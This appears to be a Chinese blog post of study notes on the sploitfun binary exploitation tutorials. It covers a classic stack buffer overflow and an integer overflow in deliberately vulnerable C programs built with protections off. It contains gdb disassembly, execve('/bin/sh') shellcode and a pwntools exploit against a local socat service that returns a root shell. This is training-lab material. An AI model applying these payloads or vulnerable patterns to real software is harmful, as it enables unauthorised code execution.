BetaMao

sploitfun调试笔记

字数统计: 1.1k阅读时长: 6 min
2017/09/04 Share

本篇是sploitfun的学习调试笔记,持续更新。未完待续

Classic Stack Based Buffer Overflow

漏洞程序为:

1
2
3
4
5
6
7
8
#include <stdio.h>
#include<string.h>
int main(int argc,char* argv[]){
char buf[256];
strcpy(buf,argv[1]);
printf("Input: %s\n",buf);
return 0;
}

编译:

1
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

关掉了所有的保护:

作为第一个程序,遇到了只有调试才会遇到的坑。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x800005d0 <+0>: lea ecx,[esp+0x4]
0x800005d4 <+4>: and esp,0xfffffff0
0x800005d7 <+7>: push DWORD PTR [ecx-0x4]
0x800005da <+10>: push ebp
0x800005db <+11>: mov ebp,esp
0x800005dd <+13>: push ebx
0x800005de <+14>: push ecx
0x800005df <+15>: sub esp,0x100
0x800005e5 <+21>: call 0x800004a0 <__x86.get_pc_thunk.bx>
0x800005ea <+26>: add ebx,0x1a16
0x800005f0 <+32>: mov eax,ecx
=> 0x800005f2 <+34>: mov eax,DWORD PTR [eax+0x4]
0x800005f5 <+37>: add eax,0x4
0x800005f8 <+40>: mov eax,DWORD PTR [eax]
0x800005fa <+42>: sub esp,0x8
0x800005fd <+45>: push eax
0x800005fe <+46>: lea eax,[ebp-0x108]
0x80000604 <+52>: push eax
0x80000605 <+53>: call 0x80000430 <strcpy@plt>
0x8000060a <+58>: add esp,0x10
0x8000060d <+61>: sub esp,0x8
0x80000610 <+64>: lea eax,[ebp-0x108]
0x80000616 <+70>: push eax
0x80000617 <+71>: lea eax,[ebx-0x1940]
0x8000061d <+77>: push eax
0x8000061e <+78>: call 0x80000420 <printf@plt>
0x80000623 <+83>: add esp,0x10
0x80000626 <+86>: mov eax,0x0
0x8000062b <+91>: lea esp,[ebp-0x8]
0x8000062e <+94>: pop ecx
0x8000062f <+95>: pop ebx
0x80000630 <+96>: pop ebp
0x80000631 <+97>: lea esp,[ecx-0x4]
0x80000634 <+100>: ret
End of assembler dump.
  • 看到有数据对齐,在结尾时通过ecx恢复esp,而ecx是从栈上恢复的,于是在ecx所在的栈地址处写上正确地址加4.
  • 另一个坑是此处数据是通过argv传入,它保存在栈上,于是不同长度的数据会导致栈帧地址发生变化.

考虑到这两点,利用代码为。。。没写出来,太烦了。此处利用的是strcpy()\x00是坏字符,需要避免,这里用的是作者到shellcode,可以说是非常简洁了:

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> print disasm("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f ;小端序
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 50 push eax
10: 89 e2 mov edx,esp
12: 53 push ebx
13: 89 e1 mov ecx,esp
15: b0 0b mov al,0xb ;sys_execve
17: cd 80 int 0x80
>>>

Integer Overflow

漏洞程序为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include<string.h>
#include<stdlib.h>

void flow(char* input){
char passwd_buf[11];
unsigned char passwd_len = strlen(input); //passwd_len的最大值为255
if(passwd_len>=4&&passwd_len<=8){
printf("Valid Password\n");
strcpy(passwd_buf,input);
}else{
printf("Invalid Password\n");
}
}

int main(){
char input[1024];
gets(input);
flow(input);
return 0;
}

依然使用没有任何保护的编译方式,查看反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
gdb-peda$ disas flow
Dump of assembler code for function flow:
0x00000620 <+0>: push ebp
0x00000621 <+1>: mov ebp,esp
0x00000623 <+3>: push ebx
0x00000624 <+4>: sub esp,0x14
0x00000627 <+7>: call 0x4f0 <__x86.get_pc_thunk.bx>
0x0000062c <+12>: add ebx,0x19d4
0x00000632 <+18>: sub esp,0xc
0x00000635 <+21>: push DWORD PTR [ebp+0x8]
0x00000638 <+24>: call 0x480 <strlen@plt>
0x0000063d <+29>: add esp,0x10
0x00000640 <+32>: mov BYTE PTR [ebp-0x9],al ;将低位移入局部变量
0x00000643 <+35>: cmp BYTE PTR [ebp-0x9],0x3
0x00000647 <+39>: jbe 0x675 <flow+85> ;大于等于3
0x00000649 <+41>: cmp BYTE PTR [ebp-0x9],0x8
0x0000064d <+45>: ja 0x675 <flow+85> ;小于8
0x0000064f <+47>: sub esp,0xc
0x00000652 <+50>: lea eax,[ebx-0x1890]
0x00000658 <+56>: push eax
0x00000659 <+57>: call 0x470 <puts@plt>
0x0000065e <+62>: add esp,0x10
0x00000661 <+65>: sub esp,0x8
0x00000664 <+68>: push DWORD PTR [ebp+0x8]
0x00000667 <+71>: lea eax,[ebp-0x14] ;ebp-14为起始偏移
0x0000066a <+74>: push eax
0x0000066b <+75>: call 0x460 <strcpy@plt>
0x00000670 <+80>: add esp,0x10
0x00000673 <+83>: jmp 0x687 <flow+103>
0x00000675 <+85>: sub esp,0xc
0x00000678 <+88>: lea eax,[ebx-0x1881]
0x0000067e <+94>: push eax
0x0000067f <+95>: call 0x470 <puts@plt>
0x00000684 <+100>: add esp,0x10
0x00000687 <+103>: nop
0x00000688 <+104>: mov ebx,DWORD PTR [ebp-0x4]
0x0000068b <+107>: leave
0x0000068c <+108>: ret
End of assembler dump.

使用远程调试:

1
socat tcp-l:9999,fork exec:./vul

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
>>> retAddr = 0xbfffeee0
>>> payload = 'a'*24+p32(retAddr)+shellcode
>>> payload += (260-len(payload))*'a'
>>> elf = remote('127.0.0.1',9999)
[x] Opening connection to 127.0.0.1 on port 9999
[x] Opening connection to 127.0.0.1 on port 9999: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 9999: Done
>>> elf.sendline(payload)
>>> elf.interactive()
[*] Switching to interactive mode
id
uid=0(root) gid=0(root) groups=0(root)

Off-By-One Vulnerability (Stack Based)

CATALOG
  1. 1. Classic Stack Based Buffer Overflow
  2. 2. Integer Overflow
  3. 3. Off-By-One Vulnerability (Stack Based)